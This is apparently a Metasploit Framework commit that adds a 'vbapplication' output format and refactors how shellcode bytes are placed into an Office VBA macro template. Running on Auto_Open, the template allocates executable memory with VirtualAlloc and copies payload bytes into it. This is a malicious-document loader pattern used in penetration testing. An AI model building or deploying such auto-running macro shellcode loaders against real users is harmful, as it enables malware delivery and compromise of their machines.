vba transform

data/templates/scripts/to_vba.vb.template

@@ -15,7 +15,7 @@ Sub Auto_Open()
 #Else
 	Dim  %{var_rwxpage} As Long, %{var_res} As Long
 #EndIf
-	%{var_myArray} = Array(%{bytes})
+	%{bytes}
 	%{var_rwxpage} = VirtualAlloc(0, UBound(%{var_myArray}), &H1000, &H40)
 	For %{var_offset} = LBound(%{var_myArray}) To UBound(%{var_myArray})
 		%{var_myByte} = %{var_myArray}(%{var_offset})

lib/msf/base/simple/buffer.rb

@@ -43,6 +43,8 @@ module Buffer
 				buf = Rex::Text.to_powershell(buf)
 			when 'vbscript'
 				buf = Rex::Text.to_vbscript(buf)
+			when 'vbapplication'
+				buf = Rex::Text.to_vbapplication(buf)
 			else
 				raise ArgumentError, "Unsupported buffer format: #{fmt}", caller
 		end
@@ -83,17 +85,19 @@ module Buffer
 	#
 	def self.transform_formats
 		['raw',
-		 'ruby','rb',
-		 'perl','pl',
-		 'bash','sh',
-		 'c',
-		 'csharp',
-		 'js_be',
-		 'js_le',
-		 'java',
-		 'python','py',
-		 'powershell','ps1',
-		 'vbscript']
+		'ruby','rb',
+		'perl','pl',
+		'bash','sh',
+		'c',
+		'csharp',
+		'js_be',
+		'js_le',
+		'java',
+		'python','py',
+		'powershell','ps1',
+		'vbscript',
+		'vbapplication'
+		]
 	end
 
 end

lib/msf/util/exe.rb

@@ -887,14 +887,7 @@ def self.to_vba(framework,code,opts={})
 		hash_sub[:var_Length]		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
 
 		# put the shellcode bytes into an array
-		hash_sub[:bytes] = ''
-		maxbytes = 20
-		codebytes = code.unpack('C*')
-		1.upto(codebytes.length) do |idx|
-			hash_sub[:bytes] << codebytes[idx].to_s
-			hash_sub[:bytes] << "," if idx < codebytes.length - 1
-			hash_sub[:bytes] << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0)
-		end
+		hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])
 
 		return read_replace_script_template("to_vba.vb.template", hash_sub)
 	end

lib/rex/text.rb

@@ -234,6 +234,25 @@ module Text
 		return buff
 	end
 
+	#
+	# Converts a raw string into a vba buffer
+	#
+	def self.to_vbapplication(str, name = "buf")
+		code  = str.unpack('C*')
+		buff = "#{name} = Array("
+		maxbytes = 20
+
+		1.upto(code.length) do |idx|
+			buff << code[idx].to_s
+			buff << "," if idx < code.length - 1
+			buff << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0)
+		end
+
+		buff << ")\r\n"
+
+		return buff
+	end
+
 	#
 	# Creates a perl-style comment
 	#